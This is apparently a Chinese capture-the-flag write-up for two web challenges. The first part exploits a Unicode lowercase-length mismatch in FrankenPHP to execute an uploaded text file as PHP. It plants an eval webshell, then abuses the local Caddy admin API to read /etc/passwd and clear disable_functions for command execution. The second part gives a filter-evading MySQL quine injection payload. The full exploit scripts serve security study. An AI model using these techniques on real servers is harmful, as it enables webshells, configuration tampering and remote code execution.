ezupload
题目
<?php
$action = $_GET['action'] ?? '';
if ($action === 'create') {
$filename = basename($_GET['filename'] ?? 'phpinfo.php');
file_put_contents(realpath('.') . DIRECTORY_SEPARATOR . $filename, '<?php phpinfo(); ?>');
echo "File created.";
} elseif ($action === 'upload') {
if (isset($_FILES['file']) && $_FILES['file']['error'] === UPLOAD_ERR_OK) {
$uploadFile = realpath('.') . DIRECTORY_SEPARATOR . basename($_FILES['file']['name']);
$extension = pathinfo($uploadFile, PATHINFO_EXTENSION);
if ($extension === 'txt') {
if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadFile)) {
echo "File uploaded successfully.";
}
}
}
} else {
highlight_file(__FILE__);
}分析
有任意文件内容上传,但是后缀被限制成txt
php8.4
框架是FrankenPHP
open_basedir: /app/public:/tmp
disable_function: chdir,curl_exec,curl_init,curl_multi_add_handle,curl_multi_exec,curl_multi_init,curl_multi_remove_handle,curl_multi_select,curl_setopt,dl,error_log,exec,imap_open,ini_alter,ini_restore,ini_set,ld,link,mail,mb_send_mail,passthru,pcntl_alarm,pcntl_async_signals,pcntl_exec,pcntl_get_last_error,pcntl_getpriority,pcntl_setpriority,pcntl_signal,pcntl_signal_dispatch,pcntl_signal_get_handler,pcntl_sigprocmask,pcntl_sigtimedwait,pcntl_sigwaitinfo,pcntl_strerror,pcntl_wait,pcntl_waitpid,pcntl_wexitstatus,pcntl_wifcontinued,pcntl_wifexited,pcntl_wifsignaled,pcntl_wifstopped,pcntl_wstopsig,pcntl_wtermsig,popen,proc_open,putenv,shell_exec,symlink,syslog,system
disable_classes: PDO,Pdo\Sqlite,SQLite3
先介绍一个关于unicode编码小trick
在unicode中不止有一个字节的字符,有些字符是由两个或者更多的字节组成的,比如Å(3字节)、ẞ(3字节)、Ⱦ(2字节)…,并且还有些不等于字符但是处理后会默认转换成响应的字符
因此在对unicode进行处理的时候可能因为对字符的解析差异产生漏洞
后缀bypass
获取后缀的时候用到了pathinfo,看下源码的处理逻辑
PHP_FUNCTION(pathinfo)
{
zval tmp;
char *path, *dirname;
size_t path_len;
bool have_basename;
zend_long opt = PHP_PATHINFO_ALL;
zend_string *ret = NULL;
ZEND_PARSE_PARAMETERS_START(1, 2)
Z_PARAM_STRING(path, path_len)
Z_PARAM_OPTIONAL
Z_PARAM_LONG(opt)
ZEND_PARSE_PARAMETERS_END();
have_basename = (opt & PHP_PATHINFO_BASENAME);
array_init(&tmp);
if (opt & PHP_PATHINFO_DIRNAME) {
dirname = estrndup(path, path_len);
php_dirname(dirname, path_len);
if (*dirname) {
add_assoc_string(&tmp, "dirname", dirname);
}
efree(dirname);
}
if (have_basename) {
ret = php_basename(path, path_len, NULL, 0);
add_assoc_str(&tmp, "basename", zend_string_copy(ret));
}
if (opt & PHP_PATHINFO_EXTENSION) {
const char *p;
ptrdiff_t idx;
if (!have_basename) {
ret = php_basename(path, path_len, NULL, 0);
}
p = zend_memrchr(ZSTR_VAL(ret), '.', ZSTR_LEN(ret));
if (p) {
idx = p - ZSTR_VAL(ret);
add_assoc_stringl(&tmp, "extension", ZSTR_VAL(ret) + idx + 1, ZSTR_LEN(ret) - idx - 1);
}
}
if (opt & PHP_PATHINFO_FILENAME) {
const char *p;
ptrdiff_t idx;
/* Have we already looked up the basename? */
if (!have_basename && !ret) {
ret = php_basename(path, path_len, NULL, 0);
}
p = zend_memrchr(ZSTR_VAL(ret), '.', ZSTR_LEN(ret));
idx = p ? (p - ZSTR_VAL(ret)) : (ptrdiff_t)ZSTR_LEN(ret);
add_assoc_stringl(&tmp, "filename", ZSTR_VAL(ret), idx);
}
if (ret) {
zend_string_release_ex(ret, 0);
}
if (opt == PHP_PATHINFO_ALL) {
RETURN_COPY_VALUE(&tmp);
} else {
zval *element;
if ((element = zend_hash_get_current_data(Z_ARRVAL(tmp))) != NULL) {
RETVAL_COPY_DEREF(element);
} else {
RETVAL_EMPTY_STRING();
}
zval_ptr_dtor(&tmp);
}
}处理文件名的时候先用basename获取文件名存到指针ret中,后续都是基于ret的
ret = php_basename(path, path_len, NULL, 0);接下来处理扩展名和文件名
//扩展名
p = zend_memrchr(ZSTR_VAL(ret), '.', ZSTR_LEN(ret)); // 寻找php_basename处理后的ret中找最后一个点
if (p) {
add_assoc_stringl(..., "extension", ZSTR_VAL(ret) + idx + 1, ...);//截取.后面作为extension
}只对点.进行了匹配,然后截取点后面的部分作为extension
//文件名
p = zend_memrchr(ZSTR_VAL(ret), '.', ZSTR_LEN(ret));
idx = p ? (p - ZSTR_VAL(ret)) : (ptrdiff_t)ZSTR_LEN(ret);
add_assoc_stringl(..., "filename", ZSTR_VAL(ret), idx);依旧是找点并且将左边的作为文件名,太正确了,根本产生不了漏洞:(

不过在获取文件名的时候用到了php_basename,跟一下看看逻辑
PHPAPI zend_string *php_basename(const char *s, size_t len, const char *suffix, size_t suffix_len)
{
const char *basename_start;
const char *basename_end;
if (CG(ascii_compatible_locale)) {
basename_end = s + len - 1;
/* Strip trailing slashes */
while (basename_end >= s
#ifdef PHP_WIN32
&& (*basename_end == '/'
|| *basename_end == '\\'
|| (*basename_end == ':'
&& _is_basename_start(s, basename_end)))) {
#else
&& *basename_end == '/') {
#endif
basename_end--;
}
if (basename_end < s) {
return ZSTR_EMPTY_ALLOC();
}
/* Extract filename */
basename_start = basename_end;
basename_end++;
while (basename_start > s
#ifdef PHP_WIN32
&& *(basename_start-1) != '/'
&& *(basename_start-1) != '\\') {
if (*(basename_start-1) == ':' &&
_is_basename_start(s, basename_start - 1)) {
break;
}
#else
&& *(basename_start-1) != '/') {
#endif
basename_start--;
}
} else {
/* State 0 is directly after a directory separator (or at the start of the string).
* State 1 is everything else. */
int state = 0;
basename_start = s;
basename_end = s;
while (len > 0) {
int inc_len = (*s == '\0' ? 1 : php_mblen(s, len));
switch (inc_len) {
case 0:
goto quit_loop;
case 1:
#ifdef PHP_WIN32
if (*s == '/' || *s == '\\') {
#else
if (*s == '/') {
#endif
if (state == 1) {
state = 0;
basename_end = s;
}
#ifdef PHP_WIN32
/* Catch relative paths in c:file.txt style. They're not to confuse
with the NTFS streams. This part ensures also, that no drive
letter traversing happens. */
} else if ((*s == ':' && (s - basename_start == 1))) {
if (state == 0) {
basename_start = s;
state = 1;
} else {
basename_end = s;
state = 0;
}
#endif
} else {
if (state == 0) {
basename_start = s;
state = 1;
}
}
break;
default:
if (inc_len < 0) {
/* If character is invalid, treat it like other non-significant characters. */
inc_len = 1;
php_mb_reset();
}
if (state == 0) {
basename_start = s;
state = 1;
}
break;
}
s += inc_len;
len -= inc_len;
}
quit_loop:
if (state == 1) {
basename_end = s;
}
}
if (suffix != NULL && suffix_len < (size_t)(basename_end - basename_start) &&
memcmp(basename_end - suffix_len, suffix, suffix_len) == 0) {
basename_end -= suffix_len;
}
return zend_string_init(basename_start, basename_end - basename_start, 0);
}前面的就不写了,直接来看对unicode处理的部分
#ifdef PHP_WIN32
&& *(basename_start-1) != '/'
&& *(basename_start-1) != '\\') {
if (*(basename_start-1) == ':' &&
_is_basename_start(s, basename_start - 1)) {
break;
}
#else
&& *(basename_start-1) != '/') {
#endif
basename_start--;
}
} else {
/* State 0 is directly after a directory separator (or at the start of the string).
* State 1 is everything else. */
int state = 0;
basename_start = s;
basename_end = s;
while (len > 0) {
int inc_len = (*s == '\0' ? 1 : php_mblen(s, len));
switch (inc_len) {
case 0:
goto quit_loop;
case 1:在else前面判断了是不是ascii能够兼容的字符,如果是多字节就会通过int inc_len = (*s == '\0' ? 1 : php_mblen(s, len));挨个字符进行判断字符长度
完全防止了unicode利用的可能

php的函数似乎没有什么能产生漏洞的的地方了
但是题目的框架是frankenphp,找frankenphp的源码分析一下,在cgi.go中找到路径解析的代码
先看分割路径的splitCgiPath

获取路径然后进行分割,好像没什么需要注意的,不过用到了一个splitPos的函数,找一下这个函数

splitPos函数对字符进行小写处理后,查找.php后缀的索引并且返回文件到.php的长度
但是回过头来看splitCgiPath函数中最终生成的路径,是通过path[:splitPos]来获取的!
也就是在根据小写后的后缀的索引对原本的路径进行分割的
func splitCgiPath(fc *frankenPHPContext) {
path := fc.request.URL.Path
// ...
if splitPos := splitPos(path, splitPath); splitPos > -1 {
fc.docURI = path[:splitPos]
fc.pathInfo = path[splitPos:]
fc.scriptName = strings.TrimSuffix(path, fc.pathInfo)
// ...
fc.scriptFilename = sanitizedPathJoin(fc.documentRoot, fc.scriptName)
}
// ...
}比如访问一个/test.php.txt,在splitPos处理时,.的索引是5,然后根据idx+len(“.php”)来计算结束的位置也就是9
随后返回给splitCgiPath,之后的各个参数如下
fc.docURI: /test.php
fc.pathInfo: .txt
fc.scriptName: /test.php
fc.scriptFilename: /var/www/html/test.php
分析下来看到这里最终的路径是test.php而不是上传的test.php.txt,但是实际访问的时候无论有没有test.php最终访问到的都是test.php.txt,为什么?
题目中Caddyfile的站点块是下面这个,用到了php_server
root {$SERVER_ROOT:public/}
而在frankenphp的文档中明确了php_server等同于下面这种route结构

route {
@indexFiles file {
try_files {path} {path}/index.php index.php
split_path .php
}
rewrite @indexFiles {http.matchers.file.relative}
@phpFiles path *.php
php @phpFiles
file_server
}@phpFiles path *.php: 在文件路径是以php结尾的时候才会进入php解析
try_files {path} ... index.php说明了如果访问的文件不存在就兜底到index.php
因此只有路径以php结尾的时候才会经过splitCgiPath和splitPos这两个函数,但是我们能够控制的文件只有txt文件,所以要想办法将txt文件内容解析到php后缀的文件中
刚才也提到过,unicode中有些字符是多字节的,而在进行小写转换时,一些字符的字节数会发生变化,从而导致转换前后的长度不一样,从而能够改变splitCgiPath解析的路径
比如Ⱥ(\u023A)(2字节),而转换成小写之后就变成了ⱥ(3字节),在本地测一下

能够找到一个开尔文符号K(U+212A)符合这个条件,长度是3字节,在转换成小写后是k,占1个字节,减少了两个字节

只需要在文件名中加入两个K,例如KK.txt.php
原始path的长度为14,lowerpath长度为10
在lowerpath中,.php的结束位置是10,所以splitPos()返回的长度是10
此时splitCgiPath拿返回的长度去分割原始的path,而path的前10个字节是KK.txt
最终SCRIPT_FILENAME 会指向 .../KK.txt
于是frankenphp就会将KK.txt的内容当做KK.txt.php的内容来解析
构造如下的payload写入shell
import requests
url = "http://124.221.168.69:20292/"
unicode_char = "\u212A"
filename = (unicode_char * 2) + ".txt"
content = """<?php eval($_REQUEST[1]);?>"""
files = {
"file": (filename, content, 'text/plain')
}
data = {"action": "upload"}
res = requests.post(url, files=files, params=data)
print(res.text)
create_name = filename + ".php"
print(create_name)
requests.get(url, params={"action": "create", "filename": create_name})
但是还有open_basedir和disable_function

绕过open_basedir和disable_function
php层面设置了open_basedir和disable_function并且已经限制死了,需要从php外但是同一个进程或者容器的方法来rce
首先想到的就是frankenphp,在看源码的时候注意到有一个caddy

找一下caddy的官方文档https://caddyserver.com/docs/
发现caddy是运行在服务器中的一个服务,并且在https://caddyserver.com/docs/api中发现caddy的api默认地址是在本地的2019端口上的,并且有

并且有一个config路由可以对配置做运行时的变更
查看一下这个config路由

格式化一下
{
"apps": {
"frankenphp": {},
"http": {
"servers": {
"srv0": {
"listen": [
":80"
],
"routes": [
{
"handle": [
{
"handler": "vars",
"root": "public/"
},
{
"handler": "headers",
"response": {
"deferred": true,
"delete": [
"Server"
]
}
},
{
"encodings": {
"br": {},
"gzip": {},
"zstd": {}
},
"handler": "encode",
"prefer": [
"zstd",
"br",
"gzip"
]
}
]
},
{
"handle": [
{
"handler": "static_response",
"headers": {
"Location": [
"{http.request.orig_uri.path}/"
]
},
"status_code": 308
}
],
"match": [
{
"file": {
"try_files": [
"{http.request.uri.path}/index.php"
]
},
"not": [
{
"path": [
"*/"
]
}
]
}
]
},
{
"handle": [
{
"handler": "rewrite",
"uri": "{http.matchers.file.relative}"
}
],
"match": [
{
"file": {
"split_path": [
".php"
],
"try_files": [
"{http.request.uri.path}",
"{http.request.uri.path}/index.php",
"index.php"
],
"try_policy": "first_exist_fallback"
}
}
]
},
{
"handle": [
{
"handler": "php",
"split_path": [
".php"
]
}
],
"match": [
{
"path": [
"*.php"
]
}
]
},
{
"handle": [
{
"handler": "file_server"
}
]
}
]
}
}
},
"pki": {
"certificate_authorities": {
"local": {
"install_trust": false
}
}
}
}
}在返回的这个 config 中,routes 数组中每一项都是这样的格式:
可选 match: [...](匹配条件)
必选 handle: [...](handler 链,按顺序执行)
比如 rewrite 的 route:
{
"handle": [
{ "handler": "rewrite", "uri": "{http.matchers.file.relative}" }
],
"match": [
{ "file": { ... } }
]
}观察到现有配置的最后还有一个不带 match 的 file_server,说明整个站点的请求最终都会落到静态文件服务;同时也存在独立的rewriteroute,证明caddy支持在运行时“改写URI后再交给后续 handler继续处理”。因此如果想实现“增加一个专用入口来读取文件”,最自然的方式就是新增一条route,让它在进入默认file_server之前先命中。
想到可以通过增加一个挂载点来读取文件,于是可以这样构造:给自己创建一个统一前缀(比如 /_fs/),让所有从这个前缀进入的请求都走我们新增的 handler 链。
由于 file_server 会把请求路径拼到 root 上去找文件,如果直接用 file_server 处理 /_fs/etc/passwd,它会尝试读取 root + "/_fs/etc/passwd",多了一层 /_fs 目录,不符合“挂载点”的语义。所以需要先用 rewrite 把 /_fs/... 改写成真正要访问的路径(去掉前缀),再交给 file_server 去读文件。
因此 handle 链可以写成:
第一步 rewrite:将 /_fs/... 改写为 /...
第二步 file_server:从指定的 root 中把改写后的路径对应文件返回
"handle" => [
["handler" => "rewrite", ...],
["handler" => "file_server", ...],
]接着需要决定这条新route的匹配条件。配置中已经展示了pathmatcher的用法:php route 通过match: path *.php 来把.php 请求交给 php handler:
"match": [{ "path": ["*.php"] }]这说明 path matcher 支持通配符匹配,因此我们也可以用同样的方式为挂载点创建一个路径前缀匹配,让所有以/_fs/开头的请求都命中新route:
"match" => [["path" => ["/_fs/*"]]]最后,为了让挂载点能读取到站点根目录 public/ 之外的文件,需要在这个file_serverhandler里显式指定root,避免继承全局的root: public/;同时可以开启browse方便确认目录结构。综合起来,新route的最小结构就自然形成了:用match 抓住/_fs/*,用rewrite去掉/_fs前缀,再用file_server在指定root下读取文件并返回。
在题目虽然禁用了常见的命令执行函数,但仍然可以用file_get_contents发起网络请求。不过file_get_contents默认只会发送get请求,并且不能直接携带自定义请求头和请求体;而向candy的api写入配置时,需要把我们构造的route作为json格式用post提交给api

因此必须提供一个http上下文来指定:
使用什么方法
使用什么content-type
请求体是什么
所以要先构造context:
$exp = stream_context_create([
"http" => [
"method" => "POST",
"header" => "Content-Type: application/json\r\n",
"content" => json_encode($req),
],
]);这里:
"method" => "POST":把默认 GET 改为 POST
"header" => "Content-Type: application/json\r\n":将请求的格式改成json格式的
"content" => json_encode($req):把我们拼好的route对象序列化成json,作为请求体发送
有了这个context之后,再调用:
file_get_contents("http://127.0.0.1:2019/config/apps/http/servers/srv0/routes", false, $exp);就相当于“用file_get_contents作为http客户端”,按$exp指定的方式发起请求:把json格式post传参的到srv0的routes位置。之所以选这个路径,是因为在/config返回的结构里,htpp server的名字就是srv0,并且routes数组位置就在:
apps -> http -> servers -> srv0 -> routes因此对这个路径发起写入请求,就能把我们构造的新 route 加到现有 routes 列表中,从而在不修改磁盘配置文件的情况下,运行时扩展出一个 /_fs/* 的挂载入口
读文件
合起来构造然后尝试一下
import requests
url = "http://bfxh4qc292wrh76v.instance.penguin.0ops.sjtu.cn:18080/"
unicode_char = "\u212A"
filename = (unicode_char * 2) + ".txt"
content = """<?php eval($_REQUEST[1]);?>"""
files = {
"file": (filename, content, 'text/plain')
}
data = {"action": "upload"}
res = requests.post(url, files=files, params=data)
print(res.text)
create_name = filename + ".php"
print(create_name)
requests.get(url, params={"action": "create", "filename": create_name})
payload = r"""
$req = [
"match" => [["path" => ["/_fs/*"]]],
"handle" => [
["handler" => "rewrite", "uri" => "{http.request.uri.path.strip_prefix:/_fs}"],
["handler" => "file_server", "root" => "/", "browse" => (object)[]],
],
];
$exp = stream_context_create([
"http" => [
"method" => "POST",
"header" => "Content-Type: application/json\r\n",
"content" => json_encode($req),
"ignore_errors" => true,
'timeout' => 1,
],
]);
echo file_get_contents("http://127.0.0.1:2019/config/apps/http/servers/srv0/routes", false, $exp);echo '123';
"""
res = requests.post(f"{url}{create_name}", data = { 1 : payload})
print(res.text)
print(res.status_code)
read_config = "echo file_get_contents('http://127.0.0.1:2019/config/apps/http/servers/srv0/routes');"
config = requests.post(f"{url}{create_name}", data = { 1 : read_config})
print(config.text)
etc = requests.get(f"{url}_fs/etc/passwd")
print(len(etc.text))
print(etc.text[:200])发现并没有成功读取到,原因应该是写入的配置是在最后面追加的,而caddy的http routes是按顺序执行的,在到达追加的配置前就已经被前面的try_files重写成index.php了

在config中还支持put、patch、delete方法,尝试一下用这几个将前面的配置给修改了然后读取/etc/passwd
直接用put放到开头访问不到,不用动态路径了,直接硬编码成/etc/passwd就能够读取到,解决了这下,这么看来应该是路径的问题,不过动态路径该怎么解决是个问题
import requests
url = "http://124.221.168.69:20298/"
unicode_char = "\u212A"
filename = (unicode_char * 2) + ".txt"
content = """<?php eval($_REQUEST[1]);?>"""
files = {
"file": (filename, content, 'text/plain')
}
data = {"action": "upload"}
res = requests.post(url, files=files, params=data)
print(res.text)
create_name = filename + ".php"
print(create_name)
requests.get(url, params={"action": "create", "filename": create_name})
payload = r"""
$req = [
"match" => [["path" => ["/passwd"]]],
"handle" => [
["handler" => "rewrite", "uri" => "/etc/passwd"],
["handler" => "file_server", "root" => "/"],
],
];
$exp = stream_context_create([
"http" => [
"method" => "PUT",
"header" => "Content-Type: application/json\r\n",
"content" => json_encode($req),
"ignore_errors" => true,
'timeout' => 1,
],
]);
echo file_get_contents("http://127.0.0.1:2019/config/apps/http/servers/srv0/routes/0", false, $exp);echo '123';
"""
res = requests.post(f"{url}{create_name}", data={1: payload})
print(res.text)
print(res.status_code)
read_config = "echo file_get_contents('http://127.0.0.1:2019/config/apps/http/servers/srv0/routes');"
config = requests.post(f"{url}{create_name}", data={1: read_config})
print(config.text)
etc = requests.get(f"{url}passwd")
print(len(etc.text))
print(etc.text)
找到问题在哪里了,在去除前缀应该用"strip_path_prefix" => "/_fs",不能直接用"uri" => "{http.request.uri.path.strip_prefix:/_fs}"
import requests
url = "http://124.221.168.69:20299/"
unicode_char = "\u212A"
filename = (unicode_char * 2) + ".txt"
content = """<?php eval($_REQUEST[1]);?>"""
files = {
"file": (filename, content, 'text/plain')
}
data = {"action": "upload"}
res = requests.post(url, files=files, params=data)
print(res.text)
create_name = filename + ".php"
print(create_name)
requests.get(url, params={"action": "create", "filename": create_name})
payload = r"""
$req = [
"match" => [["path" => ["/_fs/*"]]],
"handle" => [
["handler" => "rewrite", "strip_path_prefix" => "/_fs"],
["handler" => "file_server", "root" => "/", "browse" => (object)[]],
],
];
$exp = stream_context_create([
"http" => [
"method" => "PUT",
"header" => "Content-Type: application/json\r\n",
"content" => json_encode($req),
"ignore_errors" => true,
'timeout' => 1,
],
]);
echo file_get_contents("http://127.0.0.1:2019/config/apps/http/servers/srv0/routes/0", false, $exp);echo '123';
"""
res = requests.post(f"{url}{create_name}", data={1: payload})
print(res.text)
print(res.status_code)
read_config = "echo file_get_contents('http://127.0.0.1:2019/config/apps/http/servers/srv0/routes');"
config = requests.post(f"{url}{create_name}", data={1: read_config})
print(config.text)
etc = requests.get(f"{url}_fs/etc/passwd")
print(len(etc.text))
print(etc.text[:200])
换个路径就能读其他的,比如/etc/hosts

RCE
但是最终读flag需要执行一个二进制文件,不能直接读取
在apps中找到一个exec的配置项,但是不是默认加载的,没法用

在config配置的参数中发现在apps中还有一个frankenphp,但是读取到的时候是空的,去文档中找一下对应的配置项

{
frankenphp {
num_threads <num_threads> # 设置要启动的 PHP 线程数量。默认:可用 CPU 数量的 2 倍。
max_threads <max_threads> # 限制可以在运行时启动的额外 PHP 线程的数量。默认值:num_threads。可以设置为 'auto'。
max_wait_time <duration> # 设置请求在超时之前可以等待的最大时间,直到找到一个空闲的 PHP 线程。 默认:禁用。
php_ini <key> <value> # 设置一个 php.ini 指令。可以多次使用以设置多个指令。
worker {
file <path> # 设置工作脚本的路径。
num <num> # 设置要启动的 PHP 线程数量,默认为可用 CPU 数量的 2 倍。
env <key> <value> # 设置一个额外的环境变量为给定的值。可以多次指定以设置多个环境变量。
watch <path> # 设置要监视文件更改的路径。可以为多个路径多次指定。
name <name> # 设置worker的名称,用于日志和指标。默认值:worker文件的绝对路径。
max_consecutive_failures <num> # 设置在工人被视为不健康之前的最大连续失败次数,-1意味着工人将始终重新启动。默认值:6。
}
}
}发现能够设置php.ini的指令,这不就能够修改open_basedir和disable_function了吗!
尝试下能不能修改
import requests
url = "http://bfxh4qc292wrh76v.instance.penguin.0ops.sjtu.cn:18080"
unicode_char = "\u212A"
filename = (unicode_char * 2) + ".txt"
content = """<?php eval($_REQUEST[1]);?>"""
files = {
"file": (filename, content, 'text/plain')
}
data = {"action": "upload"}
res = requests.post(url, files=files, params=data)
print(res.text)
create_name = filename + ".php"
print(create_name)
requests.get(url, params={"action": "create", "filename": create_name})
payload = r"""
$ini = [
"disable_functions" => "",
"open_basedir" => "/",
];
$exp = stream_context_create([
"http" => [
"method" => "POST",
"header" => "Content-Type: application/json\r\n",
"content" => json_encode($ini),
"ignore_errors" => true,
'timeout' => 1,
],
]);
echo file_get_contents("http://127.0.0.1:2019/config/apps/frankenphp/php_ini", false, $exp);
"""
res = requests.post(f"{url}/{create_name}", data = {1 : payload})
print(res.text)
check = 'var_dump(ini_get("disable_functions"));var_dump(ini_get("open_basedir"));'
check_res = requests.post(f"{url}/{create_name}", data = {1 : check})
print(check_res.text)
成功修改!
然后直接读flag就可以了
exp
import requests
url = "http://bfxh4qc292wrh76v.instance.penguin.0ops.sjtu.cn:18080"
unicode_char = "\u212A"
filename = (unicode_char * 2) + ".txt"
content = """<?php eval($_REQUEST[1]);?>"""
files = {
"file": (filename, content, 'text/plain')
}
data = {"action": "upload"}
res = requests.post(url, files=files, params=data)
print(res.text)
create_name = filename + ".php"
print(create_name)
requests.get(url, params={"action": "create", "filename": create_name})
payload = r"""
$ini = [
"disable_functions" => "",
"open_basedir" => "/",
];
$exp = stream_context_create([
"http" => [
"method" => "POST",
"header" => "Content-Type: application/json\r\n",
"content" => json_encode($ini),
"ignore_errors" => true,
'timeout' => 1,
],
]);
echo file_get_contents("http://127.0.0.1:2019/config/apps/frankenphp/php_ini", false, $exp);
"""
res = requests.post(f"{url}/{create_name}", data = {1 : payload})
print(res.text)
check = 'var_dump(ini_get("disable_functions"));var_dump(ini_get("open_basedir"));'
check_res = requests.post(f"{url}/{create_name}", data = {1 : check})
print(check_res.text)
get_flag = "system('/readflag');"
flag = requests.post(f"{url}/{create_name}", data = {1 : get_flag})
print(flag.text)
参考: https://frankenphp.dev/zh/docs/config/
https://github.com/php/frankenphp/tree/main
ezqueen
题目
<?php
$host = getenv('DB_HOST') ?: 'mysql';
$db = getenv('DB_NAME') ?: 'app';
$user = getenv('DB_USER') ?: 'appuser';
$pass = getenv('DB_PASS') ?: 'apppass';
$con = @mysqli_connect($host, $user, $pass, $db);
if (!$con) die("DB connect error");
function checkSql($s) {
if(preg_match("/sleep|benchmark|lock|recursive|regexp|rlike|file|eval|update|schema|sys|substr|mid|left|right|replace|concat|insert|export_set|pad|@/i",$s)){
die("hacker!");
}
}
$pwd=$_POST['pwd'] ?? '';
if ($pwd !== '') {
if (strlen($pwd) > 200) die("too long!");
checkSql($pwd);
$sql="SELECT pwd FROM users WHERE username='admin' and pwd='$pwd';";
try {
$user_result=mysqli_query($con,$sql);
$row = mysqli_fetch_array($user_result);
if (!$row) die("wrong password");
if ($row['pwd'] === $pwd) {
die(getenv('FLAG'));
}
die("wrong password");
} catch (Throwable $e) {
die("wrong password");
}
}
else {
highlight_file(__FILE__);
}
分析
漏洞
有sql注入
SELECT pwd FROM users WHERE username='admin' and pwd='$pwd';限制
- checkSql(),过滤了大部分的关键字
- 长度限制200以内
- Quine限制,查询结果必须等于输入
checkSql
对关键字进行过滤,ban掉了很多方法
| 关键字 | 目的 |
|---|---|
sleep, benchmark | 时间盲注 |
lock, recursive | 防止资源滥用 |
regexp, rlike | 防止使用正则表达式进行模式匹配 |
file, eval | 防止文件读写操作或代码执行 |
update, insert | 防止修改或插入数据库数据 |
schema, sys | 防止访问数据库架构信息(shcema)或系统表 |
substr, mid, left, right | 防止字符串截取/提取 |
replace, concat | 防止字符串替换与拼接操作 |
export_set, pad | 防止使用其他冷门的字符串处理函数作为替代方案 |
@ | 防止变量赋值 |
Quine限制
Quine限制产生的原因是
if ($row['pwd'] === $pwd) {
die(getenv('FLAG'));
}要求了输入等于输出
常规的Mysql Quine方法
在mysql中可以用REPLACE函数和变量赋值(@a:)来实现Quine,示例
SELECT REPLACE(REPLACE('SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS Quine',CHAR(34),CHAR(39)),CHAR(36),'SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS Quine') AS Quine;这里用占位符($)简单示范一下,简化后是这样的
SELECT REPLACE(REPLACE(模板, 引号处理, 引号处理), 占位符, 数据) AS Quine模板:SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS Quine
数据:SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS Quine
CHAR(36) = $
CHAR(34) = "
CHAR(39) = '
这三个char是为了避免对引号转义导致的问题
第一步
REPLACE(模板, CHAR(34), CHAR(39))作用是把双引号替换成单引号
原本的模板:SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS Quine
处理后(记为T):SELECT REPLACE(REPLACE('$',CHAR(34),CHAR(39)),CHAR(36),'$') AS Quine
替换是因为sql语句一般用单引号包裹字符串,如果定义字符串内部的时候再用单引号就很麻烦需要转义,所以先用双引号占位然后运行的时候替换成单引号
第二步
REPLACE(T, CHAR(36), 数据)作用是把T中的$符号替换成原始的数据
T:SELECT REPLACE(REPLACE('$',CHAR(34),CHAR(39)),CHAR(36),'$') AS Quine
替换后:
SELECT REPLACE(REPLACE('SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS Quine',CHAR(34),CHAR(39)),CHAR(36),'SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS Quine') AS Quine对比一下原始的sql语句能够发现是一模一样的:
SELECT REPLACE(REPLACE('SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS Quine',CHAR(34),CHAR(39)),CHAR(36),'SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS Quine') AS Quine;换成@a:后语句能缩短很多,因为定义了一次可以一直用不用再去重复设置了
SELECT REPLACE(REPLACE(@a:='SELECT REPLACE(REPLACE(@a:="$",CHAR(34),CHAR(39)),CHAR(36),@a) AS Quine',CHAR(34),CHAR(39)),CHAR(36),@a) AS Quine;但是题目把REPLACE和@都ban掉了
而且在引用的输出中是不输出引号的,需要找一个方法将引用输出的前后拼接上引号,用CONCAT是能够做到的,但是被ban了,也需要找到一个替代的方法
解决方法
make_set(bits, str1, str2…)
make_set函数返回一个字符串,根据bits来选取后面的字符串参数,如果某一位是1,就选中对应的字符串
比如SELECT make_set(5, 'a', 'b', 'c', 'd');
5转换成二进制是0101,从右向左是1,0,1,0,因此a和c会被选中,然后用逗号连接并输出'a,c'
quote(str)
quote会返回被单引号包裹的字符串并且能自动转义里面的特殊字符
quote(‘hello’) 输出'hello'
quote(“it’s test”) 输出'it\'s a test'
派生表与列别名
可以用下面的方法代替@a:
SELECT s FROM (SELECT 'test string' AS s) AS t;
-- 或者在MYSQL8.0+中
SELECT s FROM (SELECT 0, 'test string', 0) t(x, s, y);这里会创建一个临时表t,里面有一列叫s,值是test string。然后可以用s来引用这个值
比较新的这个写法是一个语法糖
(SELECT 0, 'test string', 0):产生一行数据,有三列
t(x, s, y):把这个临时表命名为t,第一二三列名分别对应x(0)、s(‘test string’)、y(0)
payload构造
闭合sql语句
用'/*,*/闭合前面的并放一个,为了与后面的make_set贴合
闭合之后就是
SELECT pwd FROM users WHERE username='admin' and pwd=''/*,*/ ...make_set构造查询结果
union select make_set(15, A, B, C, D) from (派生表)利用ABCD参数构造出查询结果与查询语句相同的字符串,用十六进制绕过一些闭合省去构造的麻烦
构造ABCD四个参数
| 参数 | 十六进制值 | 解码后的字符串 | 构造部分 |
|---|---|---|---|
| A | 0x272f2a | '/* | payload开头 |
| B | s | '...' | 从payload开头的逗号到创建临时表语句中第一个逗号部分的字符串(from(select 0)) |
| C | quote(s) | '...' | 创建临时表的第一个逗号到第二个逗号('*/ union ... from(select 0'),加一个quote是为了输出前后的引号以及转义最后面的' |
| D | 0x30...23 | 0)t(x,s,y)# | 创建临时表结尾的部分 |
创建派生表
from(select 0,'*/ union select make_set(15,0x272f2a,s,quote(s),0x30297428782c732c792923)from(select 0',0)t(x,s,y)#最终结果
make_set查询时:
- 第一部分:
0x272f2a→'/* - 第二部分:
s→*/ union select make_set(15,0x272f2a,s,quote(s),0x30297428782c732c792923)from(select 0 - 第三部分:
quote(s)→'*/ union select make_set(15,0x272f2a,s,quote(s),0x30297428782c732c792923)from(select 0' - 第四部分:
0x30297428782c732c792923→0)t(x,s,y)#
于是我们可以得到最终的payload
'/*,*/ union select make_set(15,0x272f2a,s,quote(s),0x30297428782c732c792923)from(select 0,'*/ union select make_set(15,0x272f2a,s,quote(s),0x30297428782c732c792923)from(select 0',0)t(x,s,y)#